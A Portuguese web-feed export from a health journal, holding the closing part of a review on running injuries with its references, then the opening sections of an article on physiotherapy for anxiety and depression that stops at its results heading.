<p class="has-text-align-center wp-block-paragraph"><strong>Fonte</strong>: Autor 2025. &nbsp;</p>



<p class="wp-block-paragraph">A análise dos 14 estudos incluídos nesta revisão integrativa permitiu compreender de maneira abrangente o panorama atual sobre as lesões musculoesqueléticas em corredores de rua, seus fatores de risco e as estratégias de prevenção e reabilitação que envolvem a atuação integrada de fisioterapeutas e profissionais de educação física. Os achados convergem para a ideia de que, embora a corrida de rua seja uma atividade acessível e amplamente praticada, ela apresenta riscos relevantes de sobrecarga musculoesquelética quando fatores como volume de treino, intensidade, nutrição e suporte profissional não são adequadamente monitorados (Da Silva Hexsel et al., 2024; Da Silva, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Um dos principais pontos de destaque foi a alta prevalência de lesões relatada em diferentes contextos. Estudos nacionais evidenciaram índices superiores a 50%, com predominância de tendinopatias, fascite plantar e fraturas por estresse, condições que comprometem tanto o desempenho esportivo quanto a adesão dos corredores à prática (Dos Santos et al., 2022; Raposo et al., 2021). Esses dados reforçam que a corrida, embora promova inúmeros benefícios à saúde cardiovascular e mental, deve ser tratada com cautela no âmbito preventivo, sobretudo quando realizada sem acompanhamento especializado.&nbsp;</p>



<p class="wp-block-paragraph">No que diz respeito aos fatores de risco, a literatura destacou múltiplos determinantes. Entre os mais relevantes, estão o aumento abrupto do volume semanal de treino, a ausência de exercícios complementares de fortalecimento muscular e o monitoramento inadequado da carga (Sant’Ana; Bara-Filho; Vianna, 2021). De acordo com Impellizzeri et al. (2020), a simples quantificação da distância percorrida não é suficiente para estimar a carga real imposta ao organismo, sendo necessário incorporar métricas mais sofisticadas, como percepção subjetiva de esforço e variabilidade de frequência cardíaca. Paquette et al. (2020) complementam que a integração de variáveis internas e externas de carga amplia a capacidade preditiva sobre o risco de lesões, fornecendo parâmetros mais seguros para a prescrição.&nbsp;</p>



<p class="wp-block-paragraph">Outro aspecto relevante diz respeito às diferenças de prevalência entre grupos específicos. Estudos apontaram maior incidência de lesões em mulheres corredoras, especialmente aquelas que não realizavam exercícios de força, sugerindo influência de fatores hormonais e biomecânicos (Dos Santos et al., 2022). Da mesma forma, a análise de Da Silva (2022) demonstrou que corredores sem acompanhamento profissional apresentaram taxas de lesão mais elevadas, evidenciando o papel essencial do suporte especializado. Esse dado é corroborado por Sampaio Antônio e Cunha Laux (2022), que identificaram correlação positiva entre experiência prévia com corrida e menor risco de sobrecarga, destacando o impacto do fator experiência sobre a adaptação fisiológica ao treinamento.&nbsp;</p>



<p class="wp-block-paragraph">No campo das estratégias preventivas, o treinamento de força emergiu como recurso central. Passos et al. (2022) demonstraram, em estudo experimental, que programas de fortalecimento resistido resultaram em redução significativa da incidência de lesões, além de melhorias na biomecânica da corrida. Arruda et al. (2022) também confirmaram que a inserção de exercícios de força auxilia no alinhamento postural e na estabilidade articular, fatores determinantes para a prevenção de sobrecarga. Nesse sentido, a integração entre fisioterapeutas e educadores físicos torna-se estratégica: enquanto o fisioterapeuta atua na avaliação funcional e correção de desequilíbrios, o educador físico organiza periodizações adequadas para progressão segura da carga de treino.&nbsp;</p>



<p class="wp-block-paragraph">Além da força, outras estratégias foram destacadas, como o treinamento funcional resistido, que apresentou benefícios tanto na performance quanto na redução de risco de lesão (Eleotério et al., 2022). Da Fonseca Everton et al. (2024) mostraram ainda que, em modalidades de endurance extremo, como a ultramaratona, o alto volume de treino eleva consideravelmente a incidência de lesões musculoesqueléticas, o que reforça a necessidade de monitoramento individualizado e interdisciplinar.&nbsp;</p>



<p class="wp-block-paragraph">No tocante à intensidade do treinamento, a revisão conduzida por Soares, De Souza e Da Silva Lage (2021) revelou que protocolos de HIIT, quando mal periodizados, aumentam significativamente o risco de lesões. No entanto, quando supervisionados e aplicados de forma progressiva, podem ser seguros e até benéficos para o desempenho. Essa dualidade mostra que não é o método em si que é lesivo, mas a forma como é implementado, destacando novamente a importância da atuação integrada de profissionais qualificados.&nbsp;</p>



<p class="wp-block-paragraph">Outro fator apontado foi a influência do perfil nutricional e da composição corporal. Seferino e Leandra da Drosa (2021) identificaram que corredores com inadequações nutricionais e índice de massa corporal elevado apresentavam risco maior de desenvolver lesões. Isso sugere que a prevenção não deve se restringir ao aspecto físico-técnico, mas também considerar variáveis nutricionais como parte integrante do acompanhamento multidisciplinar.&nbsp;</p>



<p class="wp-block-paragraph">A literatura também trouxe reflexões importantes sobre lacunas e tendências. Vieira Souza et al. (2024) mapearam a produção científica nacional e constataram escassez de estudos longitudinais e clínicos de grande escala envolvendo corredores de rua, bem como a ausência de protocolos padronizados para prevenção e reabilitação. Essa constatação é reforçada por Impellizzeri et al. (2020), que destacaram a necessidade de se avançar para modelos de monitoramento baseados em evidências mais consistentes. A inclusão de revisões sistemáticas nesta pesquisa se mostrou relevante justamente para preencher tais lacunas, oferecendo uma visão ampliada e crítica das evidências disponíveis.&nbsp;</p>



<p class="wp-block-paragraph">Os resultados convergem, portanto, para a conclusão de que a corrida de rua, quando acompanhada por profissionais capacitados, pode ser praticada de maneira segura e eficiente, reduzindo significativamente a incidência de lesões. A atuação integrada do fisioterapeuta e do educador físico não apenas melhora os desfechos clínicos e funcionais, mas também contribui para o retorno mais rápido e seguro às atividades e para o aumento do desempenho esportivo. Essa integração, no entanto, ainda enfrenta barreiras, como a fragmentação do atendimento e a falta de comunicação entre áreas (Vieira-Souza et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Assim, os achados reforçam a necessidade de maior articulação entre fisioterapia e educação física, visando protocolos mais padronizados e eficazes. A análise crítica dos estudos permite concluir que, embora existam múltiplas estratégias promissoras, ainda é fundamental ampliar o número de investigações clínicas de longo prazo, bem como fomentar políticas públicas e práticas institucionais que garantam maior acesso a programas integrados de prevenção e reabilitação.&nbsp;</p>



<p class="wp-block-paragraph"><strong>CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A pesquisa mostrou que a integração entre fisioterapia e educação física é essencial para prevenir e reabilitar lesões em corredores de rua. Foram identificadas lesões comuns, como tendinopatias, fasciite plantar, síndrome da banda iliotibial e fraturas por estresse, geralmente relacionadas à sobrecarga de treino, déficits de força, técnicas inadequadas e fatores individuais.&nbsp;</p>



<p class="wp-block-paragraph">Observou-se que as duas áreas se complementam: o fisioterapeuta avalia e corrige disfunções, enquanto o profissional de educação física organiza o treinamento e controla a carga. Quando esses profissionais atuam juntos, os resultados são melhores, como redução de recidivas, retorno mais rápido às atividades e melhora do desempenho.&nbsp;</p>



<p class="wp-block-paragraph">Apesar disso, percebeu-se a falta de estudos mais longos e de protocolos padronizados, o que limita recomendações mais amplas. Por isso, recomenda-se aprimorar a comunicação entre os profissionais, utilizar critérios objetivos de monitoramento e desenvolver novas pesquisas que validem protocolos integrados.&nbsp;</p>



<p class="wp-block-paragraph">Conclui-se que o trabalho conjunto, realizado de forma individualizada e com acompanhamento contínuo é uma estratégia eficaz para melhorar a saúde e o desempenho dos corredores de rua.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ANDRÉS, L. R. A influência dos treinos em Zona 1 na periodização da corrida.&nbsp;<strong>Contribuciones a Las Ciencias Sociales</strong>, v. 17, n. 4, p. e6561-e6561, 2024. Disponível em: <a href="https://ojs.revistacontribuciones.com/ojs/index.php/clcs/article/view/6561">https://ojs.revistacontribuciones.com/ojs/index.php/clcs/article/view/6561.</a> Acesso em: 12 mai. 2025.&nbsp;</p>



<p class="wp-block-paragraph">ANDRÉS, L. R. Treinamento de força e sua periodização na corrida. <strong>Revista Contemporânea</strong>, v. 4, n. 1, p. 2272-2285, 2024. Disponível em: <a href="https://ojs.revistacontemporanea.com/ojs/index.php/home/article/view/2907">https://ojs.revistacontemporanea.com/ojs/index.php/home/article/view/2907.</a> Acesso em: 15 mai. 2025.&nbsp;</p>



<p class="wp-block-paragraph">ANDRÉS, L. R. Treinamento funcional resistido e sua influência na melhora da performance de corredores. <strong>RECIMA21 &#8211; Revista Científica Multidisciplinar</strong>, v. 5, n. 4, p. e545153e545153, 2024. Disponível em: <a href="https://recima21.com.br/index.php/recima21/article/view/5153">https://recima21.com.br/index.php/recima21/article/view/5153.</a> Acesso em: 18 mai. 2025.&nbsp;</p>



<p class="wp-block-paragraph">ANDRÉS, L. R. Zona1 na corrida: uma abordagem sistemática para a periodização efetiva.&nbsp;<strong>Revista Contemporânea</strong>, v. 4, n. 5, p. e4173-e4173, 2024. Disponível em:&nbsp;<a href="https://ojs.revistacontemporanea.com/ojs/index.php/home/article/view/4173">https://ojs.revistacontemporanea.com/ojs/index.php/home/article/view/4173.</a> Acesso em: 20 mai. 2025.&nbsp;</p>



<p class="wp-block-paragraph">ARRUDA, I. A.; et al. Efeitos do treinamento de força na melhora da biomecânica da corrida.&nbsp;<strong>Revista Ibero-Americana de Humanidades, Ciências e Educação</strong>, v. 8, n. 2, p. 219-228, 2022. Disponível em: <a href="https://periodicorease.pro.br/rease/article/view/4164">https://periodicorease.pro.br/rease/article/view/4164.</a> Acesso em: 25 mai. 2025.&nbsp;</p>



<p class="wp-block-paragraph">BOMPA, T. O.; BUZZICHELLI, C. A. Periodização no treinamento esportivo. São Paulo:&nbsp;Phorte Editora, 2023. Disponível em: <a href="https://books.google.com.br/books?hl=pt-BR&amp;lr=&amp;id=N6UNEQAAQBAJ&amp;oi=fnd">https://books.google.com.br/books?hl=ptBR&amp;lr=&amp;id=N6UNEQAAQBAJ&amp;oi=fnd.</a> Acesso em: 2 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">DA FONSECA EVERTON, A. N.; et al. Caracterização do treinamento de praticantes de ultramaratona. <strong>Revista Presença</strong>, v. 10, n. 22, p. 41-63, 2024. Disponível em:&nbsp;<a href="http://revistapresenca.celsolisboa.edu.br/index.php/numerohum/article/view/478">http://revistapresenca.celsolisboa.edu.br/index.php/numerohum/article/view/478.</a> Acesso em: 7 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">DA SILVA HEXSEL, G. C.; et al. Prevalência de fraturas por estresse e fatores associados em corredores de rua amadores. <strong>Saúde (Santa Maria)</strong>, v. 50, n. 1, p. 1-17, 2024. Disponível em: <a href="https://periodicos.ufsm.br/revistasaude/article/view/74483">https://periodicos.ufsm.br/revistasaude/article/view/74483.</a> Acesso em: 10 jun. 2025.&nbsp;</p>



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<p class="has-text-align-left wp-block-paragraph">VIEIRA-SOUZA, L. M.; et al. Análise da produção do conhecimento em periódicos brasileiros sobre o treinamento esportivo de corredores de rua. <strong>Cuerpo, Cultura y Movimiento</strong>, v. 14, n. 2, p. 137-149, 2024. Disponível em:&nbsp;<a href="https://revistas.usantotomas.edu.co/index.php/rccm/article/view/10289">https://revistas.usantotomas.edu.co/index.php/rccm/article/view/10289.</a> Acesso em: 12 jul. 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>FISIOTERAPIA COMO ESTRATÉGIA INTEGRADA NO CUIDADO A TRANSTORNOS ANSIOSOS E DEPRESSIVOS: REVISÃO CRÍTICA DA PRODUÇÃO CIENTÍFICA E DESAFIOS NA ATENÇÃO PSICOSSOCIAL</title>
		<link>https://revistaft.com.br/fisioterapia-como-estrategia-integrada-no-cuidado-a-transtornos-ansiosos-e-depressivos-revisao-critica-da-producao-cientifica-e-desafios-na-atencao-psicossocial/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Sun, 30 Nov 2025 15:58:29 +0000</pubDate>
				<category><![CDATA[Fisioterapia]]></category>
		<category><![CDATA[Volume 29 - Edição 152/NOV 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=257042</guid>

					<description><![CDATA[PHYSICAL THERAPY AS AN INTEGRATED STRATEGY IN THE CARE OF ANXIETY AND DEPRESSIVE DISORDERS: A CRITICAL REVIEW OF SCIENTIFIC PRODUCTION AND CHALLENGES IN PSYCHOSOCIAL CARE REGISTRO DOI: 10.69849/revistaft/cl10202511301317 Raiane Silva do Carmo¹Orientador: Wellinton da Silva e Silva² Resumo&#160; Introdução: Os transtornos ansiosos e depressivos configuram um importante desafio de saúde pública e demandam abordagens integrativas [&#8230;]]]></description>
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<p class="wp-block-paragraph">PHYSICAL THERAPY AS AN INTEGRATED STRATEGY IN THE CARE OF ANXIETY AND DEPRESSIVE DISORDERS: A CRITICAL REVIEW OF SCIENTIFIC PRODUCTION AND CHALLENGES IN PSYCHOSOCIAL CARE</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202511301317</p>



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<p class="has-text-align-right wp-block-paragraph">Raiane Silva do Carmo¹<br>Orientador: Wellinton da Silva e Silva²</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo</strong>&nbsp;</p>



<p class="wp-block-paragraph"><strong>Introdução:</strong> Os transtornos ansiosos e depressivos configuram um importante desafio de saúde pública e demandam abordagens integrativas capazes de promover cuidado ampliado; nesse cenário, a fisioterapia tem se destacado por seus efeitos sobre o corpo, a regulação emocional e o bem-estar. <strong>Metodologia:</strong> O estudo consiste em uma revisão bibliográfica crítica realizada nas bases SciELO, PubMed, LILACS e Google Scholar, incluindo artigos publicados entre 2015 e 2025 que abordam intervenções fisioterapêuticas aplicadas à ansiedade e depressão. <strong>Resultados:</strong> As evidências apontam que exercícios físicos supervisionados, técnicas de respiração diafragmática, relaxamento progressivo, pilates terapêutico e práticas de consciência corporal reduzem significativamente sintomas ansiosos e depressivos, melhoram a qualidade de vida e fortalecem o vínculo terapêutico; entretanto, ainda há baixa inserção de fisioterapeutas na saúde mental e lacunas formativas. <strong>Conclusão:</strong> Conclui-se que a fisioterapia é uma estratégia eficaz e essencial no cuidado interdisciplinar em saúde mental, embora sua consolidação dependa de maior reconhecimento institucional, criação de protocolos específicos e fortalecimento da atuação na Rede de Atenção Psicossocial.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> fisioterapia; saúde mental; ansiedade; depressão; atenção psicossocial.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Abstract&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Introduction:</strong> Anxiety and depressive disorders represent a major global public health challenge, requiring integrative approaches capable of promoting comprehensive and humanized care; in this context, physiotherapy has shown significant effects on bodily regulation, emotional balance and overall well-being. <strong>Methodology:</strong> This study is a critical literature review conducted in the SciELO, PubMed, LILACS and Google Scholar databases, including articles published between 2015 and 2025 addressing physiotherapeutic interventions applied to anxiety and depression. <strong>Results:</strong> The evidence demonstrates that supervised physical exercise, diaphragmatic breathing, progressive relaxation, therapeutic Pilates and body awareness techniques significantly reduce anxiety and depressive symptoms, improve quality of life, regulate stress responses and strengthen the therapeutic bond; however, the presence of physiotherapists in mental health services remains limited, and gaps in professional training persist. <strong>Conclusion:</strong> It is concluded that physiotherapy is an effective and essential strategy in interdisciplinary mental health care, although its consolidation depends on greater institutional recognition, the development of specific clinical protocols and the strengthening of its role within the Psychosocial Care Network.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> physiotherapy; mental health; anxiety; depression; psychosocial care.</p>



<p class="wp-block-paragraph"><strong>1. </strong><strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">Nas últimas décadas, a saúde mental emergiu como uma das problemáticas mais complexas e desafiadoras do campo das políticas públicas em escala global. A Organização Mundial da Saúde (WHO, 2023) aponta que mais de 300 milhões de pessoas vivem com depressão, enquanto cerca de 264 milhões sofrem com transtornos de ansiedade, configurando um cenário alarmante de sofrimento psíquico que atravessa fronteiras sociais, econômicas e culturais. No Brasil, essa realidade se agrava diante das desigualdades históricas de acesso aos serviços de saúde e da persistência do estigma social que recai sobre o adoecimento mental (PAVAN <em>et al.,</em> 2021), exigindo estratégias interdisciplinares e sustentadas por abordagens terapêuticas integradas.&nbsp;</p>



<p class="wp-block-paragraph">Em consonância com essa demanda, a fisioterapia tradicionalmente associada à reabilitação física, tem expandido suas fronteiras epistemológicas e práticas, posicionando-se como um campo promissor no cuidado em saúde mental. Estudos recentes demonstram que as intervenções fisioterapêuticas, particularmente aquelas fundamentadas em exercícios terapêuticos, técnicas de respiração, relaxamento, consciência corporal e terapias manuais, podem contribuir significativamente para a redução dos sintomas associados à ansiedade e à depressão, bem como para a promoção da autorregulação emocional, da funcionalidade global e da qualidade de vida dos sujeitos acometidos por tais transtornos (SILVA et al., 2019; TRINDADE; SOUZA; BRAGA, 2022).&nbsp;</p>



<p class="wp-block-paragraph">Esse alargamento do escopo da fisioterapia exige não apenas um reposicionamento teórico do corpo enquanto território do sofrimento e da linguagem do sujeito (BESSA; FOUCAULT, 2016), mas também uma revisão crítica das práticas de cuidado, historicamente centradas na dissociação mente-corpo. A emergência de abordagens terapêuticas que integram corporeidade, subjetividade e contexto sociocultural inaugura uma nova ética do cuidado, baseada na integralidade, na escuta ativa e na potência do corpo como mediador de transformações psíquicas (BARBOSA; SILVA, 2017). Tal perspectiva é particularmente relevante no contexto da Atenção Psicossocial, onde se evidencia a importância de dispositivos clínicos que acolham a complexidade da experiência humana para além dos paradigmas biomédicos tradicionais.&nbsp;</p>



<p class="wp-block-paragraph">A revisão integrativa da literatura, realizada entre 2015 e 2025 nas bases SciELO, PubMed, LILACS e Google Scholar, evidenciou que a fisioterapia vem se consolidando como importante estratégia complementar no cuidado a indivíduos com transtornos ansiosos e depressivos. Os estudos analisados, predominantemente revisões sistemáticas, ensaios clínicos e pesquisas observacionais, destacam intervenções como exercícios físicos supervisionados, técnicas de respiração diafragmática, relaxamento progressivo e pilates terapêutico, todas associadas à melhora da qualidade de vida e à redução significativa de sintomas psíquicos.&nbsp;</p>



<p class="wp-block-paragraph">As evidências apontam ainda para o papel essencial do vínculo terapêutico e da escuta corporal no processo de reabilitação emocional, ao passo que revelam lacunas na inserção institucional da fisioterapia nos serviços públicos de saúde mental. Esses achados reforçam a necessidade de ampliar a atuação interdisciplinar e a valorização da fisioterapia como prática integrativa e humanizada no contexto da atenção psicossocial.&nbsp;</p>



<p class="wp-block-paragraph">Nesse sentido, este artigo busca justamente reforçar a compreensão de que a fisioterapia, quando compreendida como prática interdisciplinar e integrativa, é capaz de contribuir não apenas com técnicas e exercícios, mas também com o fortalecimento do vínculo terapêutico, a valorização da escuta corporal e a promoção do protagonismo dos sujeitos em sofrimento. Trata-se, portanto, de um campo de atuação que ainda carece de maior visibilidade científica, legitimidade política e valorização nas políticas públicas de saúde.&nbsp;</p>



<p class="wp-block-paragraph">Diante desse cenário, o presente artigo tem como objetivo analisar, por meio de uma revisão bibliográfica crítica, as contribuições da fisioterapia no cuidado de pessoas com transtornos ansiosos e depressivos, buscando identificar as estratégias terapêuticas mais recorrentes e discutir seus impactos clínicos e simbólicos. A pergunta que orienta esta investigação é: como as intervenções fisioterapêuticas têm contribuído para o cuidado integral de sujeitos com transtornos de ansiedade e depressão, e de que modo essas práticas podem ser integradas às ações interdisciplinares em saúde mental?&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>FUNDAMENTAÇÃO TEÓRICA&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1 Saúde mental na contemporaneidade: entre sofrimento psíquico e cuidado&nbsp;integral&nbsp;</strong></p>



<p class="wp-block-paragraph">A saúde mental, historicamente marginalizada no campo das políticas públicas, tem assumido centralidade nos debates sobre bem-estar biopsicossocial, sobretudo diante do crescente número de pessoas acometidas por transtornos mentais em contextos de desigualdade estrutural, precarização da vida e isolamento social. A Organização Mundial da Saúde (WHO, 2023) define saúde mental não apenas como a ausência de transtornos, mas como um estado de bem-estar no qual o indivíduo é capaz de lidar com os estresses da vida, trabalhar de forma produtiva e contribuir para sua comunidade. Essa concepção amplia a compreensão do sofrimento psíquico como fenômeno multifatorial, atravessado por dimensões biológicas, afetivas, sociais e políticas.&nbsp;</p>



<p class="wp-block-paragraph">No Brasil, Pavan <em>et al.</em> (2021) apontam para a prevalência alarmante de transtornos mentais comuns, com destaque para os transtornos ansiosos e depressivos, que afetam principalmente mulheres, populações periféricas e sujeitos em condições de vulnerabilidade social. Essa configuração demanda um modelo de atenção psicossocial que rompa com a lógica hospitalocêntrica e patologizante, defendendo uma abordagem territorializada, interdisciplinar e centrada no cuidado em liberdade, como preconiza a Reforma Psiquiátrica brasileira e a Política Nacional de Saúde Mental.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2 Transtornos ansiosos e depressivos: complexidade clínica e impactos&nbsp;psicossociais&nbsp;</strong></p>



<p class="wp-block-paragraph">Os transtornos ansiosos e depressivos figuram entre as principais causas de afastamento do trabalho, comprometimento das relações sociais e perda de qualidade de vida (WHO, 2023). Clinicamente, os transtornos de ansiedade caracterizam-se por respostas desproporcionais a estímulos percebidos como ameaçadores, incluindo sintomas como taquicardia, sudorese, tensão muscular, agitação psicomotora e hipervigilância. A depressão, por sua vez, é marcada por rebaixamento do humor, anedonia, fadiga crônica, distúrbios do sono e sentimentos de inutilidade ou culpa persistente (SILVA et al., 2019).&nbsp;</p>



<p class="wp-block-paragraph">Ambas as condições compartilham um substrato psicofisiológico comum, envolvendo alterações no eixo hipotálamo-hipófise-adrenal, disfunções autonômicas e padrões de respiração desorganizados, fatores que reforçam a pertinência de intervenções que atuem sobre o corpo como mediador do sofrimento psíquico (TRINDADE; SOUZA; BRAGA, 2022). Nesse sentido, a atuação da fisioterapia apresenta-se como alternativa complementar e integrativa, sobretudo por suas abordagens que mobilizam o sistema nervoso autônomo, reduzem o estresse e promovem estados de relaxamento profundo.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.3 </strong><strong>A fisioterapia como estratégia de cuidado em saúde mental&nbsp;</strong></p>



<p class="wp-block-paragraph">A inserção da fisioterapia no campo da saúde mental requer uma reconfiguração epistemológica da profissão, que tradicionalmente concentrou-se na dimensão biomecânica do corpo. Conforme Aguiar et al. (2023), a atuação fisioterapêutica em contextos psicossociais implica o reconhecimento do corpo enquanto território simbólico, relacional e afetivo, cujos movimentos, posturas e tensões expressam narrativas silenciadas e traumas não verbalizados.&nbsp;</p>



<p class="wp-block-paragraph">A literatura evidencia que técnicas como a cinesioterapia, o relaxamento progressivo, os exercícios respiratórios e práticas somáticas como o método de Pilates terapêutico ou o body awareness therapy (BAT) têm demonstrado eficácia no manejo de sintomas ansiosos e depressivos, contribuindo para a melhoria do padrão respiratório, da propriocepção, do tônus muscular e do estado de alerta (CRUZ, 2019). Além disso, tais práticas estimulam a autonomia, a escuta do corpo e o autocuidado, elementos centrais para a reintegração subjetiva do sujeito em sofrimento.&nbsp;</p>



<p class="wp-block-paragraph">Barbosa e Silva (2017) defendem que o cuidado fisioterapêutico, quando praticado a partir de uma escuta sensível e de uma ética da corporeidade, transcende a função restauradora para tornar-se espaço de acolhimento, reconstrução de vínculos e ressignificação da experiência do adoecimento. Trata-se de uma abordagem que aproxima a fisioterapia das práticas integrativas e complementares em saúde, alinhando-se às diretrizes do SUS e ao paradigma ampliado de cuidado.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.4 </strong><strong>Práticas integrativas e fisioterapia: contribuições da PNPIC</strong>&nbsp;</p>



<p class="wp-block-paragraph">A inclusão da fisioterapia no campo da saúde mental também se fortalece por meio de seu diálogo com as práticas integrativas e complementares (PICs), reconhecidas institucionalmente pela Política Nacional de Práticas Integrativas e Complementares no SUS (PNPIC), instituída pela Portaria nº 971/2006. Essa política pública impulsionou a valorização de abordagens que compreendem o ser humano em sua integralidade, legitimando o uso de recursos terapêuticos como meditação, yoga, reiki, técnicas de respiração e práticas corporais que atuam nos campos físico, emocional, energético e simbólico (BRASIL, 2006).&nbsp;</p>



<p class="wp-block-paragraph">Dentro desse escopo, a fisioterapia ocupa lugar estratégico por sua capacidade de operacionalizar intervenções que integram movimento, respiração, consciência corporal e relaxamento. Carvalho (2020) destaca que técnicas fisioterapêuticas voltadas à saúde mental podem ser entendidas como práticas integrativas, uma vez que favorecem a autorregulação emocional, o autoconhecimento e o reequilíbrio psicofisiológico dos indivíduos. O campo da saúde mental exige, portanto, uma abordagem que vá além da biomecânica, incorporando saberes do cuidado, da escuta e do vínculo terapêutico.&nbsp;</p>



<p class="wp-block-paragraph">Essa perspectiva é especialmente relevante para o atendimento em territórios de vulnerabilidade, onde as PICs têm se mostrado eficazes na promoção do cuidado ampliado, do autocuidado e da autonomia dos sujeitos. A fisioterapia, nesse sentido, contribui tanto na reabilitação quanto na prevenção de recaídas em quadros ansiosos e depressivos, especialmente quando associada a estratégias coletivas de promoção da saúde. Tal atuação dialoga com os princípios da integralidade e da humanização do SUS, rompendo com a lógica puramente curativa e tecnicista dos modelos convencionais.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.5 </strong><strong>Interfaces entre fisioterapia e psicologia: o corpo como território terapêutico&nbsp;</strong></p>



<p class="wp-block-paragraph">Outro eixo relevante para a compreensão da fisioterapia em saúde mental diz respeito às suas interfaces com a psicologia e os estudos do corpo. O corpo, longe de ser um mero suporte biológico, constitui-se como território de significações, afetos e memórias. A fenomenologia de Merleau-Ponty (1999) sustenta que o corpo é a base da experiência no mundo, sendo simultaneamente sujeito e objeto da percepção, e, portanto, dimensão fundante do existir.&nbsp;</p>



<p class="wp-block-paragraph">Nesse sentido, a fisioterapia pode ser compreendida como mediadora de processos subjetivos, sobretudo quando orientada por princípios da escuta sensível e da percepção corporal. As técnicas que promovem a consciência do movimento, a respiração e o toque terapêutico possibilitam ao indivíduo reconhecer tensões acumuladas, liberar conteúdos emocionais reprimidos e ressignificar sensações vinculadas ao sofrimento psíquico.&nbsp;</p>



<p class="wp-block-paragraph">A interface com a psicologia corporal, como mostram Lowen (1977) e Reich (1973), sustenta que os estados emocionais reprimidos tendem a se manifestar em rigidez muscular, alterações posturais e bloqueios respiratórios. A atuação do fisioterapeuta, ao intervir nesses padrões, contribui diretamente para a reorganização da autoimagem, a regulação afetiva e a reintegração psicocorporal. Essa abordagem holística, portanto, desafia as fronteiras disciplinares e reforça a necessidade de uma prática clínica interdisciplinar, que valorize o corpo como campo de subjetividade e expressão.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3. </strong><strong>METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">Este artigo constitui-se como uma pesquisa qualitativa, de natureza exploratória e abordagem bibliográfica, voltada à análise crítica da atuação fisioterapêutica no cuidado a pessoas acometidas por transtornos ansiosos e depressivos. A escolha por esse delineamento metodológico fundamenta-se na compreensão de que os fenômenos relacionados à saúde mental e à prática fisioterapêutica demandam interpretações que ultrapassam os limites da quantificação, exigindo aproximação sensível e compreensiva dos sentidos, discursos e práticas que os conformam. Nesse contexto, adota-se como base epistemológica a perspectiva crítico-interpretativa, a qual entende o conhecimento científico como construção social e historicamente situada, atravessada por disputas ideológicas e pela complexidade das relações entre saber e poder (MINAYO, 2022).&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa bibliográfica, segundo Lakatos e Marconi (2017), consiste no levantamento, análise e sistematização de materiais previamente publicados, com vistas a identificar lacunas, consolidar aportes teóricos e ampliar a compreensão sobre determinado objeto. Assim, o presente estudo realizou uma busca criteriosa em bases de dados acadêmicas amplamente reconhecidas, como SciELO, LILACS, PubMed e Google Scholar, no período de março a maio de 2025. A seleção dos descritores foi realizada com base na estratégia PICO adaptada ao escopo bibliográfico, utilizando-se os termos “fisioterapia e saúde mental”, “transtornos ansiosos”, “transtornos depressivos”, <em>“physical therapy and mental health”, “anxiety disorders”, “depression and physiotherapy”</em>, entre outros.&nbsp;</p>



<p class="wp-block-paragraph">Foram incluídos no corpus da pesquisa artigos publicados entre 2015 e 2025, disponíveis em português, inglês e espanhol, com acesso aberto e revisão por pares, que abordassem de modo direto ou indireto a atuação da fisioterapia no tratamento ou manejo de transtornos ansiosos e depressivos. Excluíram-se estudos repetidos nas bases, publicações que não dialogassem com o campo da fisioterapia ou que apresentassem fragilidade metodológica evidente, bem como artigos com viés exclusivamente mercadológico ou prescritivo sem fundamentação teórica clara. Após aplicação dos critérios de inclusão e exclusão, foram selecionados 10 artigos científicos que compuseram o material empírico da análise.&nbsp;</p>



<p class="wp-block-paragraph">A análise do conteúdo dos textos selecionados foi conduzida a partir da técnica de análise temática proposta por Bardin (2016), cuja operacionalização se deu em três etapas complementares: pré-análise, com leitura flutuante e organização dos dados; exploração do material, com codificação e categorização dos núcleos de sentido; e, por fim, tratamento interpretativo dos resultados, com articulação dos achados às bases teóricas do campo. A categorização emergente, de caráter indutivo, revelou três eixos temáticos principais: as concepções de saúde mental e sofrimento psíquico presentes nos discursos fisioterapêuticos; as evidências clínicas sobre a eficácia das intervenções fisioterapêuticas em quadros de ansiedade e depressão; e os desafios e potencialidades da inserção da fisioterapia como prática de cuidado integral à saúde mental no contexto das políticas públicas, especialmente no âmbito do Sistema Único de Saúde.&nbsp;</p>



<p class="wp-block-paragraph">Esse percurso metodológico permitiu não apenas sistematizar o conhecimento científico disponível sobre a temática, mas também produzir uma leitura crítica e propositiva sobre o lugar da fisioterapia no campo da saúde mental, reconhecendo sua contribuição singular e, ao mesmo tempo, tensionando os limites e contradições que ainda atravessam essa interface disciplinar.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. </strong><strong>RESULTADOS&nbsp;&nbsp;</strong></p>



